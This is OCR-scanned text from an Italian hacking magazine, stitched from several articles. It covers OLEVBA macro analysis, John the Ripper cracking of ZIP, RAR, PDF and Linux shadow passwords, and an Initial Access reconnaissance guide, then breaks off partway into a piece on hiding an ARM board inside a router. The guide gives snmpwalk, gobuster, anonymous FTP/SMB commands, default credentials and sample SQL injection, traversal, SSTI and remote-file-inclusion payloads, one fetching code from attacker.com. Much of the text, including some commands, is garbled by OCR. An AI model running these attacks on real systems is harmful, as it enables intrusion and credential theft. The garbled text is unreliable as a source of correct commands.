do di individuare il contenuto
dannoso anche allinterno di file
PDF, ma spesso non sono setta-
ti per effettuare certi tipi di con-
trolli per evitare lintroduzione
di ritardi nell'esperienza utente.
D'altra parte, esistono anche
WAF che lavorando in parallelo
sul traffico ricevuto non intro-
ducono ritardi. WAF basati solo
sul controllo delle firme dei
malware non sono pero utili,
meglio WAF basati su Machine

_earning.
E possibile usare anche stru-
menti come OLEVBA, uno

script per analizzare i file OLE
(Object Linking and Embedding)
e OpenXML (eXtensible Markup

Language) come | documenti

MS Office (Word, Excel ecc.), per
rilevare le macro VBA (Visual
Basic for Applications), estrarre
Il loro codice sorgente in testo
in chiaro e individuare nel testo
possibili rischi per la sicurez-
Za COMe macro auto-eseguibi-
i, parole chiave VBA sospette
usate da malware, tecniche di
anti-sandboxing e anti-virtualiz-
zazione, e potenziali indicatori
di compromissione (IOCs - In-
dicators of Compromise), come
indirizzi IP, URL, nomi di file ese-
guibili ecc. OLEVBA e capace an-
che di rilevare diversi metodi di
offuscamento, inclusi la codifica
Hex, StrReverse, Base64, Dridex
(trojan bancario), espressioni
VBA e puo estrarre indicatori di
compromissione dalle stringhe
decodificate. OLEVBA puo esse-
re utilizzato sia come strumento
da riga di comando, sia come
modulo Python dalle proprie ap-
plicazioni.
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Ecco come funziona lo <trumento che facilita | cracking delle pass
cC

da file ZIP, RAR, PDF e... Jnche del pinguino:

rmai lo sappiamo: John john ed effettuare il download compromesse vengono aggiunte

The Ripper e un cracker
di password gratuito e
open source, che consen-
te ai professionisti della sicurezza
di decifrare una vasta gamma di
password, indipendentemente dal
fatto che siano crittografate o pro-
tette da codici di autenticazione.

E uno strumento incluso nei repo-
sitory predefiniti di molte distribu-
zioni Linux, tra cui Ubuntu e De-
bian, ed e installato di default nella
maggior parte delle distribuzioni di
penetration test, come Kali Linux e
BlackArch Linux.

Ma se la distribuzione Linux non |lo
integra, per installarlo si parte dal
seguente comando:

$ apt install John

Mentre, se si adopera un com-
puter Mac, e possibile procedere
con linstallazione digitando da
una finestra di terminale:

$ brew install john

E possibileinstallareil software an-
che su Windows: puntare il brow-
ser su https.//www.openwall.com/
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dello ZIP a 64 bit dei binari Micro-
soft Windows (a oggi 1.9.0-jum-
bo-1 64-bit Windows binaries.
zip), quindi estrarre il contenuto
dell'archivio. Bastera poi aprire il
prompt dei comandi e spostarsi
nella cartella scompattata per po-
ter lanciare il comando John.

MODALITA DI CRACKING

John The Ripper utilizza una se-
rie di tecniche sofisticate per de-
cifrare gli hash delle password. I
principale metodo d'attacco im-
piegato e quello detto attacco a
dizionario, in cui vengono pro-
cessate una serie di parole pre-
definite 0 comuni, spesso estratte
da wordlist gratuite e aggiornate o
personalizzate dall'utente.

Questo approccio mira a trovare
corrispondenze esattetrale parole
del dizionario e gli hash delle
password. Poiche molte persone
continuano a riutilizzare le
stesse password e non le
modificano dopo una violazione
di sicurezza, tali attacchi stanno
diventando sempre piu efficaci!
Questo perché, in seguito a una
nuova Vviolazione, le credenziali

da hacker o aspiranti tali ai piu
blasonati  dizionari, accessibili
online. Kali Linux fornisce gia
diversi eccellenti dizionari di
password, il piu S

utilizzato e
Rockyou.txt (https.//github.com/
praetorian-inc/HobORules/blob/
master/wordlists/rockyou.txt.gz), un
semplicefileditestocontenenteur
elenco di password comunemente
utilizzate e trapelate durante
diverse violazioni dei dati,
altre risorse sono disponibili in
repository online, per esempio su
GitHub: https://github.com/duyet/
bruteforce-database/tree/master.
Oltre a operare in modalita Single
Crack, puo essere utilizzato anche
in modalita Incremental Mode,
eseguibile con il comando:

john --1ncremental hash.txt

In questa modalita per individua-
re la password vengono provate
tutte le possibili combinazioni di
caratteri. L'External mode con-
sente, invece, all'utente di usa-
re delle funzioni personalizzate
scritte ad hoc, per esempio in
linguaggio C.



JOHN THE RIPPER GONTRO LINUX

COSI CRACKANO LE PASSWORD DEI FILE ZIP, RAR E PDF

Come i pirati usano John The Ripper e un tool di supporto per craccare i file
protetti da password

—_——s ~ O

: HACKER JOURNAL 265 zip ~/Desktop
HACKER\ JOURNAL\ 265.zip ~hash-|

O Password required

Enter the pass

~/Desktop

LO ZIP E PROTETTO ZIP2JOHN E RAR2JOHN

Supponiamo che I'nacker abbia recuperato un Per creare I'nash da far elaborare a John The Ripper,
nostro file ZIP protetto dalla password cielo1234; 'nacker ricorre al tool zip2john. Nello specifico, dalla
ogniqualvolta egli provera ad accedere al contenuto sua distro Kali lancia il comando sudo zip2john

del file, il sistema gli chiedera la password di fileziprotetto.zip > hash-hj.txt (invio). In pochi
accesso; il malintenzionato non demorde e usa John secondi il sistema generera il file hash-hj.txt. Per i
The Ripper per individuarla. file .rar I'nacker avviera il comando rar2john.

flesktop @

MACKERY JOURNAL) 265.r1ip

~-fDwasktop
nash-hj.tut

IN AZIONE LA PASSWORD E SERVITA!

Il malintenzionato puo ora ricorrere alla potenza di Con il comando e stato indicato a JTR di utilizzare il
John The Ripper per estrapolare la password di dizionario rockyou.txt (presente di default nella
accesso allo ZIP. Per farlo provera, per esempio, un distribuzione Kali Linux, andra solo scompattato
attacco a dizionario con il comando john essendo uno ZIP) per craccare la password. Dopo

--format=zip hash-hj.txt --wordlist=/usr/share/ gualche minuto, il tool indichera la password
wordlists/rockyou.txt. individuata, in questo caso cielo1234.

fBeskt on
mnly Lopertina I jaY LK1

fash 1l op
nash-ny).par.tat

E SE C'EUN PDF? ET VOILA
Anche nel caso di un PDF protetto da password, A questo punto John The Ripper puo completare il lavoro

John The Ripper puo scardinare la protezione: in supponendo sempre un attacco a dizionario viene
questo caso il malfattore ricorre a un tool simile a impartito il comando john --format=pdf hash-hj.pdf.txt

zip2john o rar2john, nello specifico lancia il --wordlist=1000000-password-seclists.txt e ottenere

comando pdf2john, ad esempio pdf2john dopo qualche minuto la password. Notate ['utilizzo, a
filepdfprotetto.pdf > hash-hj-pdf.txt. Scopo dimostrativo, di un diverso dizionario da rockyou.
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Utilizzo responsabile di John the Ripper

FJimpiego di John the Ripper, cosi come di qualsiasi
altro strumento di cracking delle password, puo co-
stituire un’attivita sia legale che illegale, a seconda del
contesto e dellintento dell'utilizzatore. E fondamentale
che l'utente sia consapevole e rispetti appieno le norma-
tive vigenti nel proprio paese o giurisdizione in materia di
Ssicurezza informatica e privacy. In tal senso, prima di av-
valersi di tali strumenti, € necessario ottenere il consenso
esplicito e I'autorizzazione legale da parte dei titolari del-
le risorse informatiche coinvolte, noncheé rispettare scru-

polosamente le policy in tema di sicurezza dei dati. Nel
caso in cui sorgano dubbi circa la legalita di determinate
attivita di cracking delle password, e vivamente consiglia-
bile ricorrere alla consulenza di un esperto legale specia-
lizzato in diritto informatico, al fine di valutare attenta-
mente la situazione e ricevere le necessarie indicazioni e
chiarimenti in merito. Solo attraverso un approccio etico
e conforme alla normativa vigente sara possibile utilizza-
re questi strumenti in modo responsabile e legalmente
corretto.

TESTIAMO LA ROBUSTEZZA DELLE PASSWORD

John non e solo utile agli hacker, puo anche essere impiegato da esperti
di sicurezza per valutare l'efficacia delle password usate in Linux

Fille Actions Edit View Help

fetc/passwd

DOVE SONO NASCOSTE LE PASSWORD?

Le password Linux criptate sono salvate nei
percorsi /etc/passwd (contiene info su username,
user id, descrizione dell'account ecc.) ed /etc/
shadow, che memorizza I'hash delle password, la

data di scadenza e dell'ultimo cambio password
effettuato e altre informazioni.

PREPARIAMO IL FILE HASH

Lanciando ora il commando john --format=crypt
--wordlist=/usr/share/wordlists/rockyou.txt
pwdlinux.txt, il tool provera a individuare le
password, adoperando il dizionario rockyou.txt, di
tutti gli utenti contenuti nel file precedentemente
creato: pwdlinux.txt
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File Actions Edit View Help

-

fetc/passwd /etc/shadow pwdlinux.txt

INDICHIAMO | FILE DA ANALIZZARE

Il comando unshadow e un'utility utilizzata su Linux
per combinare i file /etc/passwd e /etc/shadow al
fine di preparare i dati delle password per ulteriori
operazioni o analisi. In questo caso per fornirle a
John: unshadow /etc/passwd /etc/shadow >
pwdlinux.txt

MOSTRIAMO LE PASSWORD

L'operazione puo richiedere diversi minuti. Invece
del dizionario rockyou si puo adoperare qualunque
altro dizionario, oppure adoperare John The Ripper
sfruttando qualche altra modalita di utilizzo di cui
abbiamo accennato in questo (speriamo gradito)
approfondimento.
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| e tecniche di ricogn}zion
informatici per individuar

egli ultimi due numeri di <<Hacker
Journal>> abbiamo visto le fasi iniziali
e I'identificazione dei servizi nell'Initial
Access. In questa terza e ultima pun-
tata, invece, scopriremo i protocolli piu utilizza-

T el
T
P

volta.

User Data

I protocollo UDP e noto per la
sua velocita nella trasmissione
dei dati. Tuttavia, la sua natu-
ra “senza connessione” (con-
nection-less) lo rende vulnerabile
a specifici tipi di attacchi. Senza il
processo di handshake tipico del
TCP, il protocollo UDP e vulne-
rabile ad attacchi di reflection e
amplification, come quelli che
sfruttano i servizi DNS e NTP. La
mancanza di verifica della con-
nessione o rende un bersaglio
ideale per attacchi di tipo DDoS.
Ma non solo. Per esempio, Il
protocollo SNMP in ascolto sulla
porta 161 e vulnerabile a una se-
rie di attacchi. Potremmo comin-
ciare interrogando il protocollo:

snmpwalk -0a -c public -vi
[INDIRIZZO IP] > SNMP_161 Mapping

> 30

ram Protocol (UDP

 snmpwalk: esegue automati-
camente una serie di richieste
SNMP per recuperare un albero
di informazioni su un dato di-
spositivo di rete.

e -Oa: questa opzione cambia il
formato dell'output per render-
lo piu leggibile, allineando i valo-
ri degli OID (Object Identifiers).

» -c public: specifica la commu-
nity string per linterrogazione
SNMP. In questo caso, viene
utilizzata la stringa public, che e
spesso il valore predefinito per
la lettura su dispositivi SNMP. Le
community string fungono da
semplici password per control-
lare l'accesso alle informazioni
SNMP di un dispositivo.

e -v1: indica la versione di SNMP
da utilizzare, che in questo caso
e la versione 1. SNMPv1 e la ver-

e delle porte aperte, utilizzate
e i punti d'ingresso nels

" f 'I
g
’
Foed

110101 0010C F001010 10C

ictema della vittima

ti e le rispettive eventuali vulnerabilita.

Ricordiamo che l'Initial Access e, in poche paro-
le, la fase iniziale in cui un aggressore riesce a
entrare in una rete o in un sistema per la prima

sione originale del protocollo.

* [INDIRIZZO IP]: questo e l'indi-
rizzo IP del dispositivo di rete
che si desidera interrogare.

 SNMP_161_Mapping: rein-
dirizza l'output del comando
snmpwalk in un file chiamato
SNMP_161_Mapping.  Questo
file conterra tutte le informazio-
ni recuperate dal dispositivo.

Potremmo ottenere ulteriori in-

formazioni attraverso il comando:

snmpwalk -v 1 -c public
[INDIRIZZO IP] NET-SNMP-EXTEND-
MIB :: nsExtendOutputFull

NET-SNMP-EXTEND-MIB::nsEx-
tendOutputFull:

Questo specifica [OID (Object
dentifier) che desideriinterrogare.
N questo caso, si tratta di un OID




associato a NET-SNMP-EXTEND-
MIB, che e utilizzato per estendere
le funzionalita di SNMP. E utile per
ottenere informazioni dettagliate
da un dispositivo configurato con
Net-SNMP, specialmente quan-
do sono stati configurati script o

Questi

comandi
comandi potrebbero offrirci infor-
mazioni vitali sul target, come: ser-
Vizi, processi in esecuzione, porte

personalizzati.

TCP aperte, software installati,
nomi utente ecc.

Dato che il protocollo viene utiliz-

sertext Transfer Protocol

I protocollo http potrebbe espor-
re il nostro target a molteplici vul-
nerabilita, non ultima ['Informa-
tion Disclosure. Vediamo quindi
come procedere per identificare
un potenziale punto di accesso
sfruttando questo protocollo.

1. Servizio HTTP

La prima verifica e controllare
se nmap abbia evidenziato una
versione vulnerabile del servizio.
Per esempio, un Apache datato
che consente l'esecuzione di un
Exploit. Possiamo verificare se e
disponibile un Exploit visitando il
Sito Internet https.//www.exploit-
db.com/, oppure eseguendo il co-
mando:

searchsplolt |[nome del servizio
e/o versione]

2. Certificati SSL/TLS

Durante una scansione con nmap,
e possibile scoprire certificati SSL/
TLS, inclusi quelli auto-firmati.
Questi certificati possono rivela-
re informazioni cruciali, come |
nomi DNS e di dominio associati
all'organizzazione del sistema tar-
get. Dopo aver identificato que-
sti nomi, un attaccante potrebbe
modificare il file /etc/hosts (sul
proprio computer locale), aggiun-
gendo un'associazione tra il nome
DNS e l'indirizzo IP del sistema tar-
get, allo scopo di risolvere un dato
nome DNS e raggiungere quindi il
dominio specificato.

Per analizzare il certificato potreb-
be essere utilizzato il seguente co-
mando:

Il comando searchsploit e uno stru-
mento che fa parte del progetto
Exploit Database. Questo strumento
e usato per cercare exploit e vulne-
rabilita note in un database esteso.
Searchsploit cerca nel suo database
per trovare elementi che corrispon-
dano ai criteri di ricerca forniti.

openssl x509 -1in cert -text
-noout

* openssl: comando base per av-
viare OpenSSL, un toolkit multi-
funzione per la crittografia.

e X509: specifica che si sta lavoran-
do con un certificato x509, che e
un formato standard per i certifi-
cati pubblici usati in SSL e TLS.

INITIAL AGCESS

zato per impartire comandi base
a dispositivi di rete, l'attaccante
potrebbe utilizzarlo (in determina-
te circostanze, come versioni del
protocollo obsolete) per cambiare
determinati parametri all'interno
del device target.

* -in cert: l'opzione -in specifica
il file di input. In questo caso,
“cert” e il file che contiene il certi-
ficato da analizzare.

o -text: visualizza il certificato in
formato leggibile (testo), che in-
clude tutte le informazioni detta-
gliate del certificato come l'enti-
ta che lo ha emesso, il soggetto,
la validita, le chiavi pubbliche, gli
algoritmi di firma ecc.

* -noout: previene la stampa
dell'encoding PEM del certifi-
cato. Significa che il comando
mostrera solo le informazioni
testuali del certificato, senza ri-
stampare il blocco di codice del
certificato stesso.

3. Ispezione delle Pagine http

Premendo F12 in un browser mo-

derno come Chrome, Firefox o

Edge, si aprono gli strumenti di

sviluppo. Questi strumenti for-

niscono una serie di funzionalita
che consentono agli utenti di esa-
minare il codice HTML, CSS e Java-

Script di una pagina web, nonche

di monitorare le richieste di rete,

modificare elementi in tempo rea-

le, visualizzare errori di console e

molto altro.

Limmagine mostra la ricerca di un Exploit per Apache 2.4.[X].

3/ a
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) Found| Apache)|

) UK | Apache! 2.6

11, Script, Title!Login]|

. Cookies| PHPSESSID|, Country|RESERVED
', Bootstrap, Cookies|PHI

Lo strumento What\Web identifica le tecnologie impiegate.

Un attaccante potrebbe ispezio-
nare il codice del sito Internet,
per esempio allo scopo di trovare
informazioni preziose come: com-
menti, riferimenti ad altre pagine,
nomi DNS, endpoint API, parame-
tri nascosti, cookie di sessione ecc.

4. Tecnologie in uso

Utilizzando tool come whatweb
oppure wappalyzer possiamo
analizzare e identificare la tecno-
logia dietro un determinato sito
Web. Allo stesso modo in cui ab-
biamo ricercato vulnerabilita per
il servizio, possiamo ricercarne per
le tecnologie sottostanti:

awale spesso di una “wordlist”, ov-
vero un elenco di nomi comuni di
file e directory. Gli attaccanti utiliz-
zano queste liste per automatizza-
re le richieste al server, provando
ogni termine nell’elenco combina-
to con 'URL di base del sito Web.
Ci sono molteplici tool impiegati
per eseguire un attacco di brute-
force alle directory di un sito Web.
Un classico e Gobuster:

gobuster dir --url [URL] -w /

usr/share/wordlists/dirbuster/
directory-list-2.3-medium. txt

whatweb http://[TARGET_
IP:PORTA]/

WhatWeb: si tratta di uno stru-
mento di riconoscimento che ana-
lizza siti Web per identificare le
tecnologie sottostanti, come piat-
taforme CMS (Content Manage-
ment System), script di blogging,
sistemi di tracciamento statistico,
librerie JavaScript e molto altro.

5. Directory BruteForcing

Si tratta di una tecnica particolare
utilizzata per individuare directory
O percorsi nascosti in un‘applica-
zione Web. |l bruteforcing di direc-
tory si basa sullinvio sistematico di
richieste a un server Web utilizzan-
dounelencodipotenzialidirectory.
L'obiettivo e scoprire risorse na-
scoste 0 non documentate che
potrebbero contenere informazio-
ni sensibili 0 essere sfruttate per
ulteriori attacchi. Questa tecnica si

> 308

» gobuster dir: avvia Gobuster in
modalita “directory”, che e usata
per trovare directory e nascoste
in un dato Web

o --url [URL]: Specifica 'URL del
sito Web da scansionare

» -w /usr/share/wordlists/dirbu-
ster/directory-list-2.3-medium.
txt: Indica a Gobuster quale
wordlist usare per la scansione.
La wordlist directory-list-2.3-me-
dium.txt contiene un elenco di
nomi di directory potenzialmente
comuni e viene utilizzata per te-
stare la presenza di queste direc-
tory sul sito Web specificato.

6. File BruteForcing

Allo stesso modo, seguendo Io
stesso principio con cul vengono
enumerate le directory, I'attaccan-
te enumerera anche possibili file
presenti nel dato sito Web.

gobuster dir -u [URL] -w /usr/

share/wordlists/dirb/common.txt
-x txt,pdf, confi

., HTTPServer
D], Country| RESERVED ||

|, HTMLS, HTTPServer

o gobuster dir: avvia Gobuster in
modalita “directory”, che e usa-
ta per trovare directory e nasco-
ste in un dato Web

* -u [URL]: Specifica 'URL del sito
Web da scansionare

o -w /usr/share/wordlists/dirb/
common.txt: Indica a Gobuster
di usare la wordlist specificata
per la scansione. In questo caso,
stiamo utilizzando la wordlist
common.txt, che e una lista di
nomi comuni di file e directory

o -X txt,pdf,config: |'opzione
estende la scansione per inclu-
dere file con specifiche esten-
sioni. Nel nostro caso stiamo
cercando file con estensioni
.php,.pdf,.config

Ammettiamo che una data direc-

tory (scovata durante il brute-

forcing) riporti I'errore 403 For-
bidden. Se l'attaccante dovesse
giudicare la situazione valevo-
le di ulteriori analisi, potrebbe
eseguire un ulteriore Directory

Bruteforcing anche su tutti i sot-

to-path.

Per esempio, se il sito Web aves-

se una directory/api, l'attaccan-

te avanzera enumerando anche
quello specifico sotto-path (allo

stesso modo visto nei punti 3 e 4).

7. Virtual Host Bruteforcing
Questa tecnica permette di scopri-
re “Virtual Hosts” (o “vhosts”) su un
server Web.

E particolarmente rilevante quan-
do un server ospita piu domini 0
sottodomini su un singolo indiriz-
o |IP, una pratica comune nel Web
hosting moderno:




gobuster vhost -w /opt/

useful/SeclLists/Discovery/DNS/
subdomains-toplmillion-5000.txt
-u http://[URL]

* gobuster vhost: avvia Gobuster
nella modalita vhost, che e spe-
cializzata nel cercare diversi host
virtuali (vhost) o sottodomini su
un server Web.

o -w /opt/useful/SecLists/Disco-
very/DNS/subdomains-top-
1million-5000.txt: specifica una
wordlist contenente nomi di do-
mini.

e -u http://[URL]: specifichiamo
'URL del sito Web target.

8. Pagine di login

Se non abbiamo una lista di
username e password attendi-
bili, tentare un BruteForce po-
trebbe essere una perdita di
tempo. Inoltre, rileverebbe in
modo palese la nostra presen-
za. Ma potremmo tentare, un
password guessing utilizzando
una combinazione di credenzia-

i di default:

root root

admin :: admin

admin :: password

root password
administrator :: password
webadmin root

Inoltre, potremmo consultare il
sito del dato produttore alla ricer-
ca di credenziali di default.

9. Web Application Attack

Se a questo punto non abbiamo
ancora trovato una possibilita
di accesso, potremmo testare la
Web Application utilizzando di-
versi attacchi. Vediamo assieme |

piu popolari:

1. SQL Injection
 Descrizione: questo at-
tacco sfrutta vulnerabilita
nelle applicazioni Web che
utilizzano input dell'utente
nelle query SQL. Gli aggres-
sori inseriscono o0 “inietta-
no” codice SQL dannoso in
guesti input per manipola-
re il database sottostante,
ottenendo accesso nNon
autorizzato o manipolando
dati.
 Esempio: un caso classico
e l'inserimento di ‘OR "1'="1
iIN un campo di input di un
form di login, che puo mo-
dificare la query SQL sotto-
stante per autenticare l'u-
tente senza una password
valida.

2. Directory Traversal

* Descrizione: questo attac-
CO mira a ottenere l'accesso
ai file e alle directory memo-
rizzati sul server Web che
sono al di fuori della root di-
rectory del sito Web. Gli ag-
gressori manipolano gli URL
per navigare (attraversare) il
file system del server.

 Esempio: utilizzare un
URL come http.//example.
com/../../etc/passwd per ten-
tare di accedere al file pas-
swd del sistema, che contie-
ne informazioni sugli utenti.
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3. Local File Inclusion (LFI)

Descrizione: LFl si verifi-
ca quando un‘applicazione
Web permette all'utente
di includere file locali attra-
verso input non sanificati.
Gli aggressori possono cosi
eseguire script o leggere file
sensibili sul server.

Esempio: un URL come
http://example.com/in-
dex.php?page=../../../../etc/
passwd che cerca di include-
re e visualizzare il contenu-
to del file passwd.

4. Remote File Inclusion (RFI)

Descrizione: simile a LFl,
ma in questo caso lattac-
cante induce il server a in-
cludere ed eseguire un file
ospitato su un server remo-
to. Questo puo portare all’e-
secuzione di codice arbitra-
rio.

Esempio: utilizzare un
URL come http://example.
com/index.php?page=http.//
attacker.com/malicious.php
per far eseguire dal server
un file PHP dannoso ospita-
to su un server esterno.

5. File Upload Vulnerability

Descrizione: questa vulne-
rabilita si verifica quando
un‘applicazione Web per-
mette il caricamento di file

Con il File BruteForcing vengono mostrati i file presenti sul sito Internet.
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senza adeguati controlli di
sicurezza, lasciando la pos-
sibilita agli aggressori di ca-
ricare script dannosi o altri
file malevoli.

 Esempio: caricare un file
PHP mascherato da imma-
gine su un sito che permette
il caricamento di immagini,
ma non verifica I'estensione
o il tipo MIME del file.

6. Server Side Template

Injection

* Descrizione: questa tipo-
logia di attacco si verifica
gquando un aggressore in-
serisce modelli o comandi
dannosi in un template
lato server, che vengono
successivamente eseguiti
dal motore di templating.
Questo tipo di comporta-

File Transfer Protocol (FTP

Siamo sempre nello scenario
in cui non abbiamo credenziali
valide e dobbiamo cercare un
Initial Access.

Abbiamo quindi due possibilita.
La prima e verificare se la ver-
sione dell'FTP sia vulnerabile e
quindi se esiste un Exploit uti-
lizzabile, come abbiamo visto in
precedenza.

Provare un accesso anonimo

al server FTP

Per farlo effettuiamo la connes-
sione al server ftp, utilizzando il
comando:

ftp [IP] -P 21 -v

o ftp: avvia il client FTP

o [IP]: IP della macchina a cui de-
sideriamo connetterci

* -P 21: L'opzione -P specifica la

Server Mlessage Block (SMIB

Anche per il protocollo SMB ab-

biamo le medesime possibilita:

« Verificare se la versione
del'SMB e vulnerabile e se
quindi esiste un Exploit utiliz-
zabile.

* Provare a listare le share di-
sponibili senza fornire una
password al server SMB.

Proviamo a enumerare le sha-

re:

smbeclient -L /Z/[1IP]

Pol proviamo a connetterci:

smbclient //[IP]/[NOME DEL-
LA SHARE] -N

> 40

Il parametro -N utilizzato con |l
comando smbclient serve per
indicare che non verra richie-
sta una password. Questo pa-
rametro e comunemente usato
gquando si vuole accedere a con-
divisioni SMB che permettono
'accesso anonimo o quando Si
esegue uno script che deve ac-
cedere a SMB senza l'interazione
dell'utente.

Se la porta 445 e chiusa ma la
porta 139 e aperta, potremmo
comunque utilizzare rpcclient
per connetterci a un server SMB.
La porta 139 supporta SMB su
NetBIOS over TCP/IP, che e un
metodo piu vecchio, ma ancora

mento puo portare all'ese-
cuzione di codice arbitra-
rio o alla divulgazione di
informazioni sensibili.
 Esempio:inserire uninput
come {{7*'7'}} in un'appli-
cazione web che utilizza
un motore di templating,
che potrebbe essere inter-
pretato ed eseguito, resti-
tuendo il risultato.

porta su cui connettersi. Il nu-
mero 21 e la porta standard
per le connessioni FTP non crit-
tografate
* -v: Questa opzione abilita la
modalita verbosa.
Appena ci viene chiesto il nome
utente, digitiamo anonymous
e successivamente, lasciamo
vuoto il campo password dando
Invio.

supportato per la comunicazio-
ne SMB. Per connetterci a una
macchina di dominio in maniera
anonima potremmo utilizzare la
seguente sintassi:

i1

rpcclient -U -N [indiriz-

Z0 server]

o -U "'": specifica un nome uten-
te NULL, che indica che stiamo
tentando di connetterci in ma-
niera anonima.

* -N: l'opzione dice a rpcclient
di non chiedere una password.

e [indirizzo server] e l'indirizzo
IP o il nome del server a cui vo-
gliamo connetterci.

?
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PARTE PRIMA

REARE UN NOD

MULE, BITTORRENT...

Ma non limitiamoci al software! Partiamo da una mini scheda
ARM, che puo trovare posto all'interno di un modem/router
e diamo vita a un perfetto server segreto

IN BREVE

Realizzare un super
modem/router da
utilizzare come server

DIFFICOLTA

Y

> 42

| segreto dell'arte di nascondere

non consiste nel nascondere in

senso stretto, ma nella capacita

di far si che cio che vogliamo oc-
cultare passi inosservato. Si tratta,
guindi, piu di distrarre l'attenzione
che di nascondere: un po' come
guando un prestigiatore agita la
bacchetta con la mano destra per di-
strarvi dalla mano sinistra mentre
nasconde il fazzoletto. Ma quello e
un trucco per cosi dire “dinamico”,
fatto in tempo reale, mentre noi ab-
biamo bisogno di dissimulare in
modo permanente, a lungo termine,
per cui cambiamo la domanda: qua-
li sono i posti migliori per nascon-
dere un libro e una pecora? Beh, il
primo in una libreria, la seconda in
un gregge. Seguendo questa logica,

nel nostro articolo, vedremo come
nascondere una scheda ARM all'in-
terno di un altro apparato elettroni-
co. La celeremo all'interno del nostro
modem/router per donargli “poten-
za" senza che pero nulla sia visibile a
prima vista, in quanto tutto sara con-
tenuto all'interno dellinvolucro del
modem/router, complici gli spazi
vuoti immancabilmente presenti in
oggetti di questo tipo. Spazi che sono
piu che sufficienti a contenere i limi-
tati ingombri della scheda scelta.

FASE UNO: MIAPPARE
ILCABLAGGIO ETHERNET

Il metodo di comunicazione tra il no-
stro modem/router SITECOM (da
ora: “"modem”) e la scheda ARM NA-
NOPI DUO 2 (da ora: nano) e il classi-

La carrier board della nano duo 2

Viste le esigue dimensioni della nano, i progettisti hanno preferito montare la
porta RJ45 su una “carrier board”, cioe una scheda di sviluppo, acquistabile a

parte per il prezzo veramente modico di -
necessaria, a meno che non vogliate proc

2 €. Carrier che quindi non si dimostra

urarvela per usufruire dei vari accessorti

hardware su essa presenti, come un “goloso” modem GSM che potrebbe tornare
utile in progetti futuri... Molto probabilmente ne riparleremo quando vorremo illu-
strare come fare un apparato loT: per esempio, un economicissimo gestore di sen-

sori/motori controllato tramite SMS.



GREARE UN NODO EMULE, BITTORRENT...

I FERRI DEL MESTIERE

Saranno indispensabili un saldatore, filo di stagno, spezzoni di cavetti di
rame schermati, un tester, cacciavite, scotch, una scheda ARM e, natu-

ralmente, il router. Per quanto attiene alla scheda ARM, |a nostra scelta e

caduta sulla Nanopi Duo 2, una mini-scheda da anni presente sul mercato:
compatta, robusta, affidabile, poco esosa in termini energetici e soprattut-
to sopportata da GNU/Linux senza alcun tipo di problema. La scheda ARM
ce la siamo procurata dal sito del produttore nhttps://friendlyelec.com/,
mentre per le specifiche tecniche abbiamo fatto riferimento alla pagina
https://wiki.friendlyelec.com/wiki/index.php/NanoPi_DuoZ2.
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Le limitate dimensioni della scheda
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sono perfette per il nostro progetto.

co cavo TCP/IP e, come avrete
notato, la nano non ha una por-
ta RJ45 montata a bordo, cosa
che si tramuta in un vantaggio
visto che tale porta si rivelereb-
be eccessivamente ingombrante
all'interno del contenitore del
modem. Nel prosieguo dell'arti-
colo, ci occuperemo di saldare |
fili direttamente sul bus di
espansione della nano, e da |
cablarli ai rispettivi punti di con-
tatto di una delle porte Ethernet
del modem. Siccome non aveva-
mo dei fili disponibili e non ave-
vamo né tempo né voglia di an-
darli a comprare spendendoci
sopra dei soldi, abbiamo canni-
balizzato un paio di vecchi auri-
colari non piu funzionanti che
abbiamo tagliato a spezzoni del-
la lunghezza necessaria. Come
vedete, un buon hacker non but-

ta niente ma mette da parte per-
ché prima o poi, tutto torna uti-
e!

Passiamo al pratico. Estraiamo
la scheda elettrica del modem
dal suo involucro per avere una
maggior comodita di lavoro;
procediamo a collegare un cavo
Ethernet tra una delle porte del
modem e |la porta RJ45 della car-
rier board e impostiamo il tester
iIn “modalita cicalino”: tale confi-
gurazione serve per verificare la
continuita elettrica tra due punti
del circuito (cosa che si manife-
sta visivamente tramite un valo-

re di resistenza quasi zero sul
display e, acusticamente, trami-
te un avviso sonoro: da i, I'im-
propria ma chiara definizione di
“modalita cicalino”). Nella foto
relativa, vedete evidenziate nei
due riquadri rossi la piedinatura
delle due porte RJ45 che ideal-
mente numeriamo da 1 a 8 sulla
porta del modem e da A a H sul-
la porta della carrier. A questo
punto, toccando con un puntale
I nodida 1 a8 e con l'altro quelli
da A ad H ci annotiamo quali
combinazioni producono il suo-
no perché saranno i punti da
cablare.

FASE DUE: TROVAREISV

Una cosa che va tenuta in consi-
derazione sono le tensioni di ali-
mentazione: il modem viene for-
nito di un alimentatore che
eroga 12 V, e lelettronica del
modem funziona a 3 V, quindi
“da qualche parte” c'e un circuito
che abbassa la tensione da 12 a
3,3 V. Anche l'elettronica della
nano funziona a 3,3 V, che se,

per motivi storici, si usano le

NanoPi Duo2 pinout diagram

NanoPi
Duo?2
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La piedinatura delle linee di |/0 della nano, “mappa’ indispensabile per
determinare gli abbinamenti per eseguire le saldature.
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connessioni USB che vanno a 5
V, per cui anche sulla nano c'e
della circuiteria che provvede ad
abbassare da5V a 3,3 V. Col te-
ster abbiamo verificato qua e la
parti del circuito stampato de
modem e abbiamo trovato ur
punto dal quale prelevare i 5V
da fornire alla nano, nel punto in
Cui era prevista, anche se poi
non implementata, una porta
USB sul modem. Nei modem piu
moderni la cosa e molto sempli-
ce: essendo dotati di default di
almeno una porta USB, e sulla
piedinatura di quest'ultima che

troverete il 5 V.

FASE TRE: CABLARE | FILI

Ora abbiamo tutto quello che
serve, cioe l'elenco dei segnali
Ethernet e la linea di alimenta-
zione,

Provvediamo quindi a saldare
nelle piazzole della nano i fili ne-
cessari al cablaggio, dopodiche
avvolgiamo la nano nel nastro
adesivo (abbiamo usato quello
di carta perche ha meno colla ri-
spetto a quelli di plastica per cui
se e quando dovremmo spac-
chettare la nano, non ci saranno
fastidiose tracce di “attaccatic-

La carrier board permette di
sviluppare progetti IOT a bassissimo
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Sapete saldare?

N

ell'articolo abbiamo ripetutamente usato il verbo “saldare” ma |l
termine tecnico e “brasatura a stagno”. La Rete trabocca di tutorial

e non avrete difficolta a trovare quello piu adatto anche se, tra le centi-
naia disponibili, potete cominciare da questo: https.//www.youtube.com/
watch?v=xryOdhBZ3RY che riteniamo piu che esaustivo. Siamo sicuri che
iINn una mezz'oretta apprenderete le basi del mestiere: magari non farete
saldature pulite, ma al momento potete accontentarvi che siano funzio-
nanti. E poi diciamocelo: chi non ha un amico capace di saldare? Una
quindicina di punti di saldatura saranno per lui uno scherzo di un paio

di minuti scarsi.
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| pin evidenziati nei rettangoli rossi sono guelli che dovranno essere “battuti”

cio” qua e la sul circuito. Questa
"mummificazione” della nano
serve per isolarla elettricamente
allo scopo di impedire eventuali
